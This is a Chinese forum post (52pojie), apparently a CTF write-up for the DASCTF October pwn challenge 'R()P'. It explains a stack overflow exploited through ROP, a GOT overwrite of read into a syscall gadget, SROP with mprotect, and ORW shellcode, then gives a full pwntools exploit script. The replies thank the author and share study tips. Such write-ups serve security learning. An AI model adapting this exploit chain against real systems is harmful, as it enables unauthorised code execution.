吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 658|回复: 19
收起左侧

[CTF] DASCTF十月赛R()P题解

[复制链接]
1amfree 发表于 2022-11-23 11:42

这次比赛就出了一个pwn题目,题目名称是R()P,记录一下解题过程。

解法可能是非预期,虽然我也不知道预期解是什么,但是我感觉我的做法有点离谱...

先放一下main函数的图片:

可以看到首先读入要输入的长度,如果长度大于0x100的话会重新调用main函数输入。如果是小于的话就会调用read函数向栈上读入数据,这里存在0xf0字节长度的溢出。但是没有可以用于输出的函数进行泄露,那么我想到的就是改写got表来执行其他的函数。这里因为溢出我们可以实现任意的地址写,源于下面的汇编:

我们如果返回到这里就可以看到实际上调用read函数的时候,读入的地址和读入的长度都可以通过我们溢出控制。如果我们返回到0x401155处,那么我们就可以实现向栈上读入任意长度的内容,如果我们返回到0x40115A处,并且配合一个这样的gadget:0x000000000040116d: mov eax, dword ptr [rsp + 0xc]; add rsp, 0x18; ret;,就可以通过向栈上布置我们想要写入的地址到[rsp + 0xc]处,那么我们就可以实现任意地址写。这就为我们向bss段写入数据和修改got表写奠定了基础。但是比较恶心的是我们只能修改read函数的got表来实现其他指令的调用,并且我们不知道libc的版本,这就给我们泄露地址造成了困难。一开始的思路是找到了这样的一个gadget:0x0000000000401099: mov edi, 0x404018; jmp rax;其中0x404018是一个bss段上的地址,然后思路就是通过gadget来近似的将read函数的真实地址的高位逼近system函数的地址,然后再这之前先通过任意地址写来改写read函数真实地址的低位地址,并且向0x404018写入"/bin/sh"。最终将read函数地址改为system函数地址,然后通过上面的gadget调用system("/bin/sh")来拿到shell。但是后来发现system函数的地址比read函数的地址要低,需要进行sub操作,但是没有合适的gadget来修改地址,所以这种方法显然行不通。但是有一个以外的收获,发现了可以将read函数的地址修改为一个近似于syscall;ret的gadget。思路如下:

经过实际检验发现,只要将read函数的地址最后一个字节修改为源地址+0x10,那么在调用read函数的时候,就会执行如下的汇编语句:

   0x00007f69628f5990 <read+16>:  0f 05   syscall 
   0x00007f69628f5992 <read+18>:  48 3d 00 f0 ff ff   cmp    rax,0xfffffffffffff000
   0x00007f69628f5998 <read+24>:  77 56   ja     0x7f69628f59f0 <read+112>
   0x00007f69628f599a <read+26>:  c3  ret    

这段汇编实际上就是如果syscall系统调用成功,那么就会直接ret,这里实际上就是可以相当于创造了一个syscall;ret的gadget来实现系统调用。并且上面我们发现了可以控制rax寄存器的gadget,那么我们只要将read函数的末字节+0x10,那么我们就能够实现任意的系统调用。但是我们在调用execve系统调用的时候,需要控制rdi和rsi还有rdx寄存器,rdi我们可以通过上面的gadget来控制,但是jmp rax导致我们没有办法进行系统调用,也就是说通过上面的gadget控制了edi就没有办法实现系统调用,因此直接调用execve系统调用也不行,但是我们可以借助SROP来实现。我们借助SROP的方法,先通过系统调用__NR_rt_sigreturn并借助pwntools的SigreturnFrame工具来执行我们想要执行的系统调用,这里我们就可以调用execve("/bin/sh",0,0)来拿到shell。但是在我做题的时候,由于远程的libc版本不知道,因此修改read为syscall;ret的时候总是crash掉,因此我后来就是通过向bss段上写入shellcode,然后借助SROP来调用mprotect给bss段提权,之后通过SROP将栈迁移到布置好的shellcode上执行就行。这样shellcode我们方便控制,不管是实现ORW还是拿shell都比较方便。但是这里还存在一个问题就是SigreturnFrame生成的数据比较长,第一次向栈上读入的时候0x100不够直接调用SROP的,因此我们先返回到0x401155,然后再次向栈上读入大量的数据来实现SROP。下面我们总结一下利用的过程:

首先我们第一次溢出返回到0x401155处,然后通过ROP构造向栈上读入大量的数据。第二次向栈上读入的数据的时候,我们布置ROP实现如下功能:

1、第一次返回的时候配合0x000000000040116d: mov eax, dword ptr [rsp + 0xc]; add rsp, 0x18; ret;gadget向bss段上读入shellcode,然后再次配合这个gadget修改read函数的地址为我们的syscall;retgadget,然后再次配合这个gadget来控制rax的内容为15调用__NR_rt_sigreturn系统调用,后面跟上SigreturnFrame生成的payload来实现mprotect提权,然后将栈迁移到布置好shellcode的bss段上。

2、第二次发送布置好的shellocde

3、第三次发送一个字节修改read函数为syscall;ret

由于本地的read函数修改的末字节内容已知,因此我们很容易就能够打通,但是远程的libc环境未知,因此我将shellocde布置成了ORW,这样如果修改正确之后调用syscall;ret就能够直接将flag输出。

远程修改read地址为syscall;ret需要经过测试,我发现在ubuntu20.04也就是glibc2.31-9.9的环境下运行文件会报下面的错误:

这就说明libc的版本较高,很可能不是2.35就是2.34,然后我就去libc里面找偏移,但是测试了一圈都不对,然后在修改末字节为'\x00'的时候发现好像远程还可以输入内容,这就明远程修改后可能read函数照常执行了,也就是说远程read函数的末字节是'\x00',然后我们就一点一点试,发现远程末字节修改为'\x0f'的时候调用了syscall;ret直接输出了flag。

exp:

from pwn import *
r = process("/home/ubuntu/pwn/题目/BUUCTF/DASCTF十月塞/pwn")
# r = remote("node4.buuoj.cn",27144)
elf = ELF("/home/ubuntu/pwn/题目/BUUCTF/DASCTF十月塞/pwn")
context(arch="amd64",os="linux",log_level="debug")
context.terminal = ['terminator', '--new-tab', '-x']

def dbg(src):
    gdb.attach(r,src)
    pause()

src = '''
b *0x401168
'''
call_rax=0x0000000000401014
mov_eax=0x000000000040116d
read_plt=elf.plt['read']
read_got=elf.got['read']

frame = SigreturnFrame()
frame.rax = constants.SYS_mprotect
frame.rdi = 0x404000
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = read_plt
frame.rsp = 0x404120

# dbg(src)
r.send(p32(0x100))
payload=b'a'*4+p32(0x404018)
payload=payload.ljust(0x10,b'a')
payload+=p64(0x401155)+p64(0)+p32(0)+p32(0x200)
r.sendline(payload)

pause()

payload=b'a'*4+p32(0x404018)
payload=payload.ljust(0x10,b'a')
payload+=p64(0x40115A)+p64(0)+p32(0)+p32(0x200)+p64(0)+p64(mov_eax)+p64(0)+p32(0)+p32(0x404000)+p64(0)+p64(0x40115A)+p64(0)+p32(0)+p32(0x1)+p64(0)
payload+=p64(mov_eax)+p64(0)+p32(0)+p32(15)+p64(0)+p64(read_plt)+bytes(frame)
r.sendline(payload)
pause()

code = shellcraft.open("./flag")
code += shellcraft.read('rax','rsp',0x50)
code += shellcraft.write(1, 'rsp', 0x50)
code += shellcraft.exit(0)
shellcode=asm(code)

payload=b'a'*0x108+p64(0x404128)+shellcode
r.sendline(payload)

pause()
r.send(p8(0xf))
#本地是glibc2.35-3.1的时候为r.send(p8(0x90))
r.interactive()

贴一张远程拿到flag的图片:

免费评分

参与人数 4吾爱币 +4 热心值 +3 收起 理由
qpm + 1 + 1 用心讨论,共获提升!
Malevolence52 + 1 + 1 谢谢@Thanks!
paomianhaochi + 1 + 1 用心讨论,共获提升!
CuteCabbage + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| 1amfree 发表于 2022-11-26 07:12
吃小包子 发表于 2022-11-25 23:22
按照你劫持read的got表到syscall的思路,我也写了一个srop的,只不过不是通过row,通过在bss段上写/bin/sh ...

官方给出的是通过gadget拼凑出execve,其实没有必要srop,可以去试一试
Mugwort 发表于 2022-11-23 16:42
MirageTurtle 发表于 2022-11-23 16:31
tql!!!
前段时间才知道ctf,然而大学都快毕业了,不知道学ctf还来不来得及…感觉平时没那么多时间一直刷题 ...

系统无所谓反正总要用到虚拟机的
xiaoeyv 发表于 2022-11-23 12:08
zhoudl 发表于 2022-11-23 12:26
感谢楼主的分享
 楼主| 1amfree 发表于 2022-11-23 12:39
xiaoeyv 发表于 2022-11-23 12:08
PWN怎么学啊QwQ,CTF唯独对PWN一窍不通

多做做题目吧
lhp462 发表于 2022-11-23 12:43
xiaoeyv 发表于 2022-11-23 12:08
PWN怎么学啊QwQ,CTF唯独对PWN一窍不通

先看书,栈结构了解清楚,然后了解一下常规的漏洞类型就行
CuteCabbage 发表于 2022-11-23 13:34
感觉挺有意思,先收藏了,问下有没有题目文件
zxc135781 发表于 2022-11-23 15:25
刚好参加了这个,谢谢楼主,学习了
 楼主| 1amfree 发表于 2022-11-23 15:30
本帖最后由 1amfree 于 2022-11-23 16:01 编辑
CuteCabbage 发表于 2022-11-23 13:34
感觉挺有意思,先收藏了,问下有没有题目文件

题目附件:
链接:https://pan.baidu.com/s/1vJTKpTyBl7YapDan2-qErw?pwd=sc6g
提取码:sc6g
zero57 发表于 2022-11-23 16:23
及时雨,正好可以看看wp
hemingway111 发表于 2022-11-23 16:28
感谢分享,学习到了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2022-12-10 00:17

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表